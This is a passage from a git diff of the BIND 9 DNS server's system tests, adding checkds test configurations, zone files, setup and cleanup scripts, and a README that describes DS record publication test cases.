  * information regarding copyright ownership.
diff --git a/bin/tests/system/checkconf/warn-keydir.conf b/bin/tests/system/checkconf/warn-keydir.conf
index 502a4f3d30..960007149b 100644
--- a/bin/tests/system/checkconf/warn-keydir.conf
+++ b/bin/tests/system/checkconf/warn-keydir.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -17,7 +19,7 @@ options {
 };
 
 zone dummy {
-	type master;
+	type primary;
 	file "xxxx";
 	key-directory "test.keydir";
 };
diff --git a/bin/tests/system/checkconf/warn-maxratio1.conf b/bin/tests/system/checkconf/warn-maxratio1.conf
index 519dcc484c..eedf2633a7 100644
--- a/bin/tests/system/checkconf/warn-maxratio1.conf
+++ b/bin/tests/system/checkconf/warn-maxratio1.conf
@@ -1,17 +1,19 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
  */
 
 zone example {
-	type master;
-	masterfile-format map;
+	type primary;
+	masterfile-format raw;
 	file "example.db";
 	max-ixfr-ratio 101%;
 };
diff --git a/bin/tests/system/checkconf/warn-notify-source.conf b/bin/tests/system/checkconf/warn-notify-source.conf
new file mode 100644
index 0000000000..4d840ccce9
--- /dev/null
+++ b/bin/tests/system/checkconf/warn-notify-source.conf
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+options {
+	port 5300;
+};
+
+zone example {
+	type secondary;
+	primaries { 1.2.3.4; };
+	notify-source 10.53.0.1 port 100;
+};
diff --git a/bin/tests/system/checkconf/warn-parental-source.conf b/bin/tests/system/checkconf/warn-parental-source.conf
new file mode 100644
index 0000000000..2bbb34bcf3
--- /dev/null
+++ b/bin/tests/system/checkconf/warn-parental-source.conf
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+options {
+	port 5300;
+};
+
+zone example {
+	type secondary;
+	primaries { 1.2.3.4; };
+	parental-source 10.53.0.1 port 100;
+};
diff --git a/bin/tests/system/checkconf/warn-transfer-source.conf b/bin/tests/system/checkconf/warn-transfer-source.conf
new file mode 100644
index 0000000000..eb31041ec4
--- /dev/null
+++ b/bin/tests/system/checkconf/warn-transfer-source.conf
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+options {
+	port 5300;
+};
+
+zone example {
+	type secondary;
+	primaries { 1.2.3.4; };
+	transfer-source 10.53.0.1 port 100;
+};
diff --git a/bin/tests/system/checkds/README b/bin/tests/system/checkds/README
new file mode 100644
index 0000000000..ec38140355
--- /dev/null
+++ b/bin/tests/system/checkds/README
@@ -0,0 +1,98 @@
+Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+
+SPDX-License-Identifier: MPL-2.0
+
+This Source Code Form is subject to the terms of the Mozilla Public
+License, v. 2.0.  If a copy of the MPL was not distributed with this
+file, you can obtain one at https://mozilla.org/MPL/2.0/.
+
+See the COPYRIGHT file distributed with this work for additional
+information regarding copyright ownership.
+
+The test setup for the checkds tests.
+
+These servers are parent servers:
+- ns1 is the root server.
+
+- ns2 is a primary authoritative server that serves the parent zone for zones
+  configured in ns9.
+- ns4 is the secondary server for ns2.
+- ns8 is the secondary server for ns2 that is not part of the NS RRset,
+  used for testing explicit parental-agents.
+
+- ns5 is a primary authoritative server that serves the parent zone for zones
+  configured in ns9, but this one does not publish DS records (to test cases
+  where the DS is missing and the DS needs to be withdrawn).
+- ns7 is the secondary server for ns5.
+- ns10 is the secondary server for ns5 that is not part of the NS RRset,
+  used for testing explicit parental-agents.
+
+- ns6 is an authoritative server for a different zone, to test badly configured
+  parental agents.
+
+- ns3 is a resolver that can be configured as a parental agent.
+
+- Finally, ns9 is the authoritative server for the various DNSSEC enabled test
+  domains.
+
+We need multiple test cases for testing the "checkds" functionality. Basically,
+the behavior of "checkds" is of importance in three cases:
+
+1. Enabling DNSSEC
+2. KSK rollover
+3. Going insecure
+
+All these three cases involve publishing DS records into the parent, and
+withdrawing them. The named instance is responsible for checking that the
+relevant DS records are published or removed from the parent zone. Therefor,
+it needs to know what the parental agents are (the servers that it can send
+the DS queries to).
+
+Then there are two ways of retrieving parental agents, either through explicit
+configuration ("checkds explicit;"), or through discovery ("checkds yes;"). In
+the latter case, the parental agents are retrieved by querying for the parent NS
+RRset.
+
+The third value is "checkds no;", which disables the feature.
+
+Depending on the DS publication status, the DS state of the key needs to be
+updated. In case of DS publication, the "DSPublish" state should be set, only
+if all parental agents have the relevant DS published. In case of DS withdrawal,
+the "DSRemoved" state should be set, only if none of the parental agents have
+the relevant DS in their zone.
+
+Regardless of how parental agents are retrieved, we identify the following test
+cases:
+
+1.	Enabling DNSSEC
+
+1.1.	- With one parental agent
+1.1.1.	  - DS is correctly published in the parent:		DSPublish
+1.1.2.	  - DS is not (yet) published in the parent:		!DSPublish
+1.1.3.	  - The parental agent is badly configured:		!DSPublish
+1.1.4.	  - DS is published, but has bogus signature:		!DSPublish
+
+1.2.	- With multiple parental agents
+1.2.1.	  - DS is correctly published in all parents:		DSPublish
+1.2.2.	  - DS is not (yet) published in some parents:		!DSPublish
+1.2.3.	  - One parental agent is badly configured:		!DSPublish
+1.2.4.	  - DS is completely published, bogus signature:	!DSPublish
+
+2.	Going insecure
+
+2.1.	- With one parental agent
+2.1.1.	  - DS is correctly withdrawn from the parent:		DSRemoved
+2.1.2.	  - DS is (still) published in the parent:		!DSRemoved
+2.1.3.	  - The parental agent is badly configured:		!DSRemoved
+2.1.4.	  - DS is withdrawn, but has bogus signature:		!DSRemoved
+
+2.2.	- With multiple parental agents
+2.2.1.	  - DS is correctly withdrawn from all parents:		DSRemoved
+2.2.2.	  - DS is not (yet) withdrawn from some parents:	!DSRemoved
+2.2.3.	  - One parental agent is badly configured:		!DSRemoved
+2.2.4.	  - DS is removed completely, bogus signature:		!DSRemoved
+
+We deliberately don't test the "KSK Rollover" case in this system test as this
+can be considered as the same as "Enabling DNSSEC" for one key and
+"Going insecure" for another case. In other words, it is covered by the two
+other scenarios (although we might still add the test cases in the future).
diff --git a/bin/tests/system/checkds/clean.sh b/bin/tests/system/checkds/clean.sh
new file mode 100644
index 0000000000..ec51f996dd
--- /dev/null
+++ b/bin/tests/system/checkds/clean.sh
@@ -0,0 +1,28 @@
+#!/bin/sh
+
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+set -e
+
+rm -f dig.out*
+rm -f ns*/named.conf ns*/named.memstats ns*/named.run*
+rm -f ns*/*.jnl ns*/*.jbk
+rm -f ns*/K*.private ns*/K*.key ns*/K*.state
+rm -f ns*/*.keyname
+rm -f ns*/dsset-*
+rm -f ns*/*.db ns*/*.jnl ns*/*.jbk ns*/*.db.signed ns*/*.db.infile
+rm -f ns*/keygen.out.* ns*/settime.out.* ns*/signer.out.*
+rm -f ns*/managed-keys.bind*
+rm -f ns*/trusted.conf
+rm -f ns*/*.mkeys
+rm -f ns*/zones
+rm -f ./*.out
diff --git a/bin/tests/system/checkds/ns1/named.conf.in b/bin/tests/system/checkds/ns1/named.conf.in
new file mode 100644
index 0000000000..5b1c9fe7ca
--- /dev/null
+++ b/bin/tests/system/checkds/ns1/named.conf.in
@@ -0,0 +1,32 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+// NS1
+
+options {
+	query-source address 10.53.0.1;
+	notify-source 10.53.0.1;
+	transfer-source 10.53.0.1;
+	port @PORT@;
+	pid-file "named.pid";
+	listen-on { 10.53.0.1; };
+	listen-on-v6 { none; };
+	recursion no;
+	notify yes;
+	dnssec-validation no;
+};
+
+zone "." {
+	type primary;
+	file "root.db.signed";
+};
diff --git a/bin/tests/system/checkds/ns1/root.db.in b/bin/tests/system/checkds/ns1/root.db.in
new file mode 100644
index 0000000000..89e1b936e6
--- /dev/null
+++ b/bin/tests/system/checkds/ns1/root.db.in
@@ -0,0 +1,68 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+$TTL 300
+.			IN SOA	gson.nominum.com. a.root.servers.nil. (
+				2000042100	; serial
+				600		; refresh
+				600		; retry
+				1200		; expire
+				600		; minimum
+				)
+.			NS	a.root-servers.nil.
+a.root-servers.nil.	A	10.53.0.1
+
+ns2.			NS	ns2.ns2.
+ns2.ns2.		A	10.53.0.2
+
+ns2-4.			NS	ns2.ns2-4.
+ns2-4.			NS	ns4.ns2-4.
+ns2.ns2-4.		A	10.53.0.2
+ns4.ns2-4.		A	10.53.0.4
+
+ns2-4-5.		NS	ns2.ns2-4-5.
+ns2-4-5.		NS	ns4.ns2-4-5.
+ns2-4-5.		NS	ns5.ns2-4-5.
+ns2.ns2-4-5.		A	10.53.0.2
+ns4.ns2-4-5.		A	10.53.0.4
+ns5.ns2-4-5.		A	10.53.0.5
+
+ns2-4-6.		NS	ns2.ns2-4-6.
+ns2-4-6.		NS	ns4.ns2-4-6.
+ns2-4-6.		NS	ns6.ns2-4-6.
+ns2.ns2-4-6.		A	10.53.0.2
+ns4.ns2-4-6.		A	10.53.0.4
+ns6.ns2-4-6.		A	10.53.0.6
+
+ns2-5-7.		NS	ns2.ns2-5-7.
+ns2-5-7.		NS	ns5.ns2-5-7.
+ns2-5-7.		NS	ns7.ns2-5-7.
+ns2.ns2-5-7.		A	10.53.0.2
+ns5.ns2-5-7.		A	10.53.0.5
+ns7.ns2-5-7.		A	10.53.0.7
+
+ns5.			NS	ns5.ns5.
+ns5.ns5.		A	10.53.0.5
+
+ns5-6-7.		NS	ns5.ns5-6-7.
+ns5-6-7.		NS	ns6.ns5-6-7.
+ns5-6-7.		NS	ns7.ns5-6-7.
+ns5.ns5-6-7.		A	10.53.0.5
+ns6.ns5-6-7.		A	10.53.0.6
+ns7.ns5-6-7.		A	10.53.0.7
+
+ns5-7.			NS	ns5.ns5-7.
+ns5-7.			NS	ns7.ns5-7.
+ns5.ns5-7.		A	10.53.0.5
+ns7.ns5-7.		A	10.53.0.7
+
+ns6.			NS	ns6.ns6.
+ns6.ns6.		A	10.53.0.6
diff --git a/bin/tests/system/checkds/ns1/setup.sh b/bin/tests/system/checkds/ns1/setup.sh
new file mode 100644
index 0000000000..26bc14c36c
--- /dev/null
+++ b/bin/tests/system/checkds/ns1/setup.sh
@@ -0,0 +1,34 @@
+#!/bin/sh -e
+
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+# shellcheck source=conf.sh
+. ../../conf.sh
+
+set -e
+
+zone=.
+infile=root.db.in
+zonefile=root.db
+
+echo_i "ns1/setup.sh"
+
+ksk=$("$KEYGEN" -q -fk -a "$DEFAULT_ALGORITHM" -b "$DEFAULT_BITS" -n zone "$zone")
+zsk=$("$KEYGEN" -q -a "$DEFAULT_ALGORITHM" -b "$DEFAULT_BITS" -n zone "$zone")
+
+cat "$infile" "$ksk.key" "$zsk.key" > "$zonefile"
+"$SIGNER" -g -o "$zone" "$zonefile" > /dev/null 2>&1
+
+# Configure the resolving server with a static key.
+keyfile_to_static_ds "$ksk" > trusted.conf
+cp trusted.conf ../ns3/trusted.conf
+cp trusted.conf ../ns9/trusted.conf
diff --git a/bin/tests/system/checkds/ns10/named.conf.in b/bin/tests/system/checkds/ns10/named.conf.in
new file mode 100644
index 0000000000..ef2ec416e0
--- /dev/null
+++ b/bin/tests/system/checkds/ns10/named.conf.in
@@ -0,0 +1,90 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+// NS10
+
+options {
+	query-source address 10.53.0.10;
+	notify-source 10.53.0.10;
+	transfer-source 10.53.0.10;
+	port @PORT@;
+	pid-file "named.pid";
+	listen-on { 10.53.0.10; };
+	listen-on-v6 { none; };
+	allow-transfer { any; };
+	recursion no;
+	dnssec-validation no;
+};
+
+key rndc_key {
+	secret "1234abcd8765";
+	algorithm @DEFAULT_HMAC@;
+};
+
+controls {
+	inet 10.53.0.10 port @CONTROLPORT@ allow { any; } keys { rndc_key; };
+};
+
+zone "ns2" {
+	type secondary;
+	primaries source 10.53.0.10 { 10.53.0.5 port @PORT@; };
+	file "ns2.db";
+};
+
+zone "ns2-4" {
+	type secondary;
+	primaries source 10.53.0.10 { 10.53.0.5 port @PORT@; };
+	file "ns2-4.db";
+};
+
+zone "ns2-4-5" {
+	type secondary;
+	primaries source 10.53.0.10 { 10.53.0.5 port @PORT@; };
+	file "ns2-4-5.db";
+};
+
+zone "ns2-4-6" {
+	type secondary;
+	primaries source 10.53.0.10 { 10.53.0.5 port @PORT@; };
+	file "ns2-4-6.db";
+};
+
+zone "ns2-5-7" {
+	type secondary;
+	primaries source 10.53.0.10 { 10.53.0.5 port @PORT@; };
+	file "ns2-5-7.db";
+};
+
+zone "ns5" {
+	type secondary;
+	primaries source 10.53.0.10 { 10.53.0.5 port @PORT@; };
+	file "ns5.db";
+};
+
+zone "ns5-6-7" {
+	type secondary;
+	primaries source 10.53.0.10 { 10.53.0.5 port @PORT@; };
+	file "ns5-6-7.db";
+};
+
+zone "ns5-7" {
+	type secondary;
+	primaries source 10.53.0.10 { 10.53.0.5 port @PORT@; };
+	file "ns5-7.db";
+};
+
+zone "ns6" {
+	type secondary;
+	primaries source 10.53.0.10 { 10.53.0.5 port @PORT@; };
+	file "ns6.db";
+};
diff --git a/bin/tests/system/checkds/ns2/named.conf.in b/bin/tests/system/checkds/ns2/named.conf.in
new file mode 100644
index 0000000000..5d0b0d4408
--- /dev/null
+++ b/bin/tests/system/checkds/ns2/named.conf.in
@@ -0,0 +1,122 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+// NS2
+
+options {
+	query-source address 10.53.0.2;
+	notify-source 10.53.0.2;
+	transfer-source 10.53.0.2;
+	port @PORT@;
+	pid-file "named.pid";
+	listen-on { 10.53.0.2; };
+	listen-on-v6 { none; };
+	allow-transfer { any; };
+	recursion no;
+	dnssec-validation no;
+};
+
+key rndc_key {
+	secret "1234abcd8765";
+	algorithm @DEFAULT_HMAC@;
+};
+
+controls {
+	inet 10.53.0.2 port @CONTROLPORT@ allow { any; } keys { rndc_key; };
+};
+
+zone "." {
+	type hint;
+	file "../../common/root.hint";
+};
+
+zone "ns2" {
+	type primary;
+	allow-update { any; };
+	allow-transfer { 10.53.0.2; 10.53.0.4; 10.53.0.8; };
+	also-notify { 10.53.0.4; 10.53.0.8; };
+	dnssec-policy default;
+	file "ns2.db";
+};
+
+zone "ns2-4" {
+	type primary;
+	allow-update { any; };
+	allow-transfer { 10.53.0.2; 10.53.0.4; 10.53.0.8; };
+	also-notify { 10.53.0.4; 10.53.0.8; };
+	dnssec-policy default;
+	file "ns2-4.db";
+};
+
+zone "ns2-4-5" {
+	type primary;
+	allow-update { any; };
+	allow-transfer { 10.53.0.2; 10.53.0.4; 10.53.0.8; };
+	also-notify { 10.53.0.4; 10.53.0.8; };
+	dnssec-policy default;
+	file "ns2-4-5.db";
+};
+
+zone "ns2-4-6" {
+	type primary;
+	allow-update { any; };
+	allow-transfer { 10.53.0.2; 10.53.0.4; 10.53.0.8; };
+	also-notify { 10.53.0.4; 10.53.0.8; };
+	dnssec-policy default;
+	file "ns2-4-6.db";
+};
+
+zone "ns2-5-7" {
+	type primary;
+	allow-update { any; };
+	allow-transfer { 10.53.0.2; 10.53.0.4; 10.53.0.8; };
+	also-notify { 10.53.0.4; 10.53.0.8; };
+	dnssec-policy default;
+	file "ns2-5-7.db";
+};
+
+zone "ns5" {
+	type primary;
+	allow-update { any; };
+	allow-transfer { 10.53.0.2; 10.53.0.4; 10.53.0.8; };
+	also-notify { 10.53.0.4; 10.53.0.8; };
+	dnssec-policy default;
+	file "ns5.db";
+};
+
+zone "ns5-6-7" {
+	type primary;
+	allow-update { any; };
+	allow-transfer { 10.53.0.2; 10.53.0.4; 10.53.0.8; };
+	also-notify { 10.53.0.4; 10.53.0.8; };
+	dnssec-policy default;
+	file "ns5-6-7.db";
+};
+
+zone "ns5-7" {
+	type primary;
+	allow-update { any; };
+	allow-transfer { 10.53.0.2; 10.53.0.4; 10.53.0.8; };
+	also-notify { 10.53.0.4; 10.53.0.8; };
+	dnssec-policy default;
+	file "ns5-7.db";
+};
+
+zone "ns6" {
+	type primary;
+	allow-update { any; };
+	allow-transfer { 10.53.0.2; 10.53.0.4; 10.53.0.8; };
+	also-notify { 10.53.0.4; 10.53.0.8; };
+	dnssec-policy default;
+	file "ns6.db";
+};
diff --git a/bin/tests/system/checkds/ns2/ns2-4-5.db.in b/bin/tests/system/checkds/ns2/ns2-4-5.db.in
new file mode 100644
index 0000000000..3a8b69432e
--- /dev/null
+++ b/bin/tests/system/checkds/ns2/ns2-4-5.db.in
@@ -0,0 +1,34 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+$TTL 300
+@			IN	SOA  secondary.example. hostmaster.example. (
+				1       ; serial
+				20      ; refresh (20 seconds)
+				20      ; retry (20 seconds)
+				1814400 ; expire (3 weeks)
+				3600    ; minimum (1 hour)
+				)
+
+				NS	ns2
+				NS	ns4
+				NS	ns5
+ns2				A	10.53.0.2
+ns4				A	10.53.0.4
+ns5				A	10.53.0.5
+
+$ORIGIN explicit.dspublish.ns2-4-5.
+incomplete			NS	ns9.incomplete
+ns9.imcomplete			A	10.53.0.9
+
+$ORIGIN yes.dspublish.ns2-4-5.
+incomplete			NS	ns9.incomplete
+ns9.imcomplete			A	10.53.0.9
diff --git a/bin/tests/system/checkds/ns2/ns2-4-6.db.in b/bin/tests/system/checkds/ns2/ns2-4-6.db.in
new file mode 100644
index 0000000000..b29fabc982
--- /dev/null
+++ b/bin/tests/system/checkds/ns2/ns2-4-6.db.in
@@ -0,0 +1,34 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+$TTL 300
+@			IN	SOA  secondary.example. hostmaster.example. (
+				1       ; serial
+				20      ; refresh (20 seconds)
+				20      ; retry (20 seconds)
+				1814400 ; expire (3 weeks)
+				3600    ; minimum (1 hour)
+				)
+
+				NS	ns2
+				NS	ns4
+				NS	ns6
+ns2				A	10.53.0.2
+ns4				A	10.53.0.4
+ns6				A	10.53.0.6
+
+$ORIGIN explicit.dspublish.ns2-4-6.
+bad				NS	ns9.bad
+ns9.bad				A	10.53.0.9
+
+$ORIGIN yes.dspublish.ns2-4-6.
+bad				NS	ns9.bad
+ns9.bad				A	10.53.0.9
diff --git a/bin/tests/system/checkds/ns2/ns2-4.db.in b/bin/tests/system/checkds/ns2/ns2-4.db.in
new file mode 100644
index 0000000000..d5761a52fe
--- /dev/null
+++ b/bin/tests/system/checkds/ns2/ns2-4.db.in
@@ -0,0 +1,36 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+$TTL 300
+@			IN	SOA  secondary.example. hostmaster.example. (
+				1       ; serial
+				20      ; refresh (20 seconds)
+				20      ; retry (20 seconds)
+				1814400 ; expire (3 weeks)
+				3600    ; minimum (1 hour)
+				)
+
+				NS	ns2
+				NS	ns4
+ns2				A	10.53.0.2
+ns4				A	10.53.0.4
+
+$ORIGIN explicit.dspublish.ns2-4.
+good				NS	ns9.good
+ns9.good			A	10.53.0.9
+
+$ORIGIN yes.dspublish.ns2-4.
+good				NS	ns9.good
+ns9.good			A	10.53.0.9
+
+$ORIGIN no.dspublish.ns2-4.
+good				NS	ns9.good
+ns9.good			A	10.53.0.9
diff --git a/bin/tests/system/checkds/ns2/ns2-5-7.db.in b/bin/tests/system/checkds/ns2/ns2-5-7.db.in
new file mode 100644
index 0000000000..b1fe39c6a5
--- /dev/null
+++ b/bin/tests/system/checkds/ns2/ns2-5-7.db.in
@@ -0,0 +1,34 @@
+	; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+$TTL 300
+@			IN	SOA  secondary.example. hostmaster.example. (
+				1       ; serial
+				20      ; refresh (20 seconds)
+				20      ; retry (20 seconds)
+				1814400 ; expire (3 weeks)
+				3600    ; minimum (1 hour)
+				)
+
+				NS	ns2
+				NS	ns5
+				NS	ns7
+ns2				A	10.53.0.2
+ns5				A	10.53.0.5
+ns7				A	10.53.0.7
+
+$ORIGIN explicit.dsremoved.ns2-5-7.
+incomplete			NS	ns9.incomplete
+ns9.incomplete			A	10.53.0.9
+
+$ORIGIN yes.dsremoved.ns2-5-7.
+incomplete			NS	ns9.incomplete
+ns9.incomplete			A	10.53.0.9
diff --git a/bin/tests/system/checkds/ns2/ns2.db.in b/bin/tests/system/checkds/ns2/ns2.db.in
new file mode 100644
index 0000000000..5d59a06b66
--- /dev/null
+++ b/bin/tests/system/checkds/ns2/ns2.db.in
@@ -0,0 +1,49 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+$TTL 300
+@			IN	SOA  secondary.example. hostmaster.example. (
+				1       ; serial
+				20      ; refresh (20 seconds)
+				20      ; retry (20 seconds)
+				1814400 ; expire (3 weeks)
+				3600    ; minimum (1 hour)
+				)
+
+				NS	ns2
+ns2				A	10.53.0.2
+
+no-ent				NS	ns9.no-ent
+ns9.no-ent			A	10.53.0.9
+
+$ORIGIN explicit.dspublish.ns2.
+good				NS	ns9.good
+reference			NS	ns9.reference
+resolver			NS	ns9.resolver
+ns9.good			A	10.53.0.9
+ns9.reference			A	10.53.0.9
+ns9.resolver			A	10.53.0.9
+
+$ORIGIN yes.dspublish.ns2.
+good				NS	ns9.good
+ns9.good			A	10.53.0.9
+
+$ORIGIN no.dspublish.ns2.
+good				NS	ns9.good
+ns9.good			A	10.53.0.9
+
+$ORIGIN explicit.dsremoved.ns2.
+still-there			NS	ns9.still-there
+ns9.still-there			A	10.53.0.9
+
+$ORIGIN yes.dsremoved.ns2.
+still-there			NS	ns9.still-there
+ns9.still-there			A	10.53.0.9
diff --git a/bin/tests/system/checkds/ns2/ns5-6-7.db.in b/bin/tests/system/checkds/ns2/ns5-6-7.db.in
new file mode 100644
index 0000000000..6be4649886
--- /dev/null
+++ b/bin/tests/system/checkds/ns2/ns5-6-7.db.in
@@ -0,0 +1,34 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+$TTL 300
+@			IN	SOA  secondary.example. hostmaster.example. (
+				1       ; serial
+				20      ; refresh (20 seconds)
+				20      ; retry (20 seconds)
+				1814400 ; expire (3 weeks)
+				3600    ; minimum (1 hour)
+				)
+
+				NS	ns5
+				NS	ns6
+				NS	ns7
+ns5				A	10.53.0.5
+ns6				A	10.53.0.6
+ns7				A	10.53.0.7
+
+$ORIGIN explicit.dsremoved.ns5-6-7.
+bad				NS	ns9.bad
+ns9.bad				A	10.53.0.9
+
+$ORIGIN yes.dsremoved.ns5-6-7.
+bad				NS	ns9.bad
+ns9.bad				A	10.53.0.9
diff --git a/bin/tests/system/checkds/ns2/ns5-7.db.in b/bin/tests/system/checkds/ns2/ns5-7.db.in
new file mode 100644
index 0000000000..14e19858d8
--- /dev/null
+++ b/bin/tests/system/checkds/ns2/ns5-7.db.in
@@ -0,0 +1,36 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+$TTL 300
+@			IN	SOA  secondary.example. hostmaster.example. (
+				1       ; serial
+				20      ; refresh (20 seconds)
+				20      ; retry (20 seconds)
+				1814400 ; expire (3 weeks)
+				3600    ; minimum (1 hour)
+				)
+
+				NS	ns5
+				NS	ns7
+ns5				A	10.53.0.5
+ns7				A	10.53.0.7
+
+$ORIGIN explicit.dsremoved.ns5-7.
+good				NS	ns9.good
+ns9.good			A	10.53.0.9
+
+$ORIGIN yes.dsremoved.ns5-7.
+good				NS	ns9.good
+ns9.good			A	10.53.0.9
+
+$ORIGIN no.dsremoved.ns5-7.
+good				NS	ns9.good
+ns9.good			A	10.53.0.9
diff --git a/bin/tests/system/checkds/ns2/ns5.db.in b/bin/tests/system/checkds/ns2/ns5.db.in
new file mode 100644
index 0000000000..640af0f78e
--- /dev/null
+++ b/bin/tests/system/checkds/ns2/ns5.db.in
@@ -0,0 +1,49 @@
